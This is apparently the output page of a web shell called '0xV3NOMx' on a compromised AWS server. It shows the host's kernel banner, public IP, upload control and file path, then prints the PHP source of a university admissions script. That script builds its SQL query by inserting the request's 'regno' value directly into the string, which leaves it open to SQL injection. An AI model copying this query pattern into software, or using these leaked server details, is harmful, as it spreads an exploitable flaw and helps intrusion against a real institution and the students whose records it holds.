0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.149.25.26


Current Path : /var/www/html/admission/src/
Upload File :
Current File : /var/www/html/admission/src/uansbookdet.php

<?php

function uniclareGetAnsBookDet($aobj_context)
{
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);

    $univcode = $aobj_context->mobj_data['univcode'];
    $regno = $aobj_context->mobj_data['regno'];

    //concat('[', cs.fcntrcode, '] ', cl.fcollname, ', ' , cl.ftown) as centre 

    if($univcode == '027x')
    {
        //$cnd = "' - ' as centre ";
        $cnd = "concat('[', cs.fcntrcode, '] -  ', cl.fcollname, ', ' , cl.ftown) as centre";
    }else
    {
        
        $cnd = "' - ' as centre ";
    }

    $query = "select cd.fregno, dg.fexamname, cd.fexamno, st.fname,
    concat(cd.fdegree,' - ',dg.fdescpn) as fdegree, cd.fexamtype, 
    concat(dg.fexamdate, ' Examination') as fexamdate, cd.fyear, 
    su.fqpcode, su.fsubname, ifnull(an.fansbookno,'') as fansbookno,
    concat(date_format(su.fdoe,'%d/%m/%Y'),' [',dayname(su.fdoe),']') as fdoe, 
    re.fdescpn,
    {$cnd}
    from canddet cd inner join subject su on cd.fdegree = su.fdegree
    and cd.fexamno = su.fexamno
    and cd.fsubcode = su.fsubcode
    and ifnull(su.fqpcode,'') <> ''
    inner join degree dg on
    cd.fdegree = dg.fdegree 
    and cd.fexamno = dg.fexamno
    inner join student st on 
    cd.fcollcode = st.fcollcode
    and cd.fdegree = st.fdegree
    and cd.fregno =st.fregno
    inner join reason re
    on su.fsession = re.freasoncd
    inner join candsum cs
    on cd.fdegree = cs.fdegree
    and cd.fcollcode = cs.fcollcode
    and cd.fregno = cs.fregno
    and cs.fyear = dg.fmeyear
    and cs.fexamtype = dg.fmeexamtyp
    inner join college cl
    on cs.fcntrcode = cl.fcollcode
    left join ansstud an on 
    cd.fdegree = an.fdegree and cd.fregno = an.fregno 
    and su.fqpcode = an.fqpcode and cd.fyear = an.fyear and cd.fexamtype = an.fexamtype
    where cd.fregno = '{$regno}'
    and ifnull(cd.fpassmth,'') = ''
    and ifnull(cd.fpresent,'') = 'P'
    and su.ftheory = 'T'";
    
    $result = $aobj_context->pobj_db->GetAll($query);

    if(count($result) == 0)
    {
        $arr['msg'] = 'Theory Time Table Details Not Found';
        echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure");
        return;
    }

    $i = 0;
    $subarr = array();
    foreach($result as $k => $v)
    {
        $subarr[$i]['fslno'] = "";
        $subarr[$i]['fexamname'] = $v['fexamname'];
        $subarr[$i]['fqpcode'] = $v['fqpcode'];
        $subarr[$i]['fsubname'] = $v['fsubname'];
        $subarr[$i]['fdoe'] = $v['fdoe'];
        $subarr[$i]['fansbookno'] = $v['fansbookno'];
        $subarr[$i]['fdescpn'] = $v['fdescpn'];
        $i++;
    }

    $res['fdegree'] = $result[0]['fdegree'];
    $res['fexamdate'] = $result[0]['fexamdate'];
    $res['centre'] = $result[0]['centre'];

    $response['header'] = $res;
    $response['subjects'] = $subarr;

    
    $arr['ansbookdet'] = $response;
    echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); 

    
}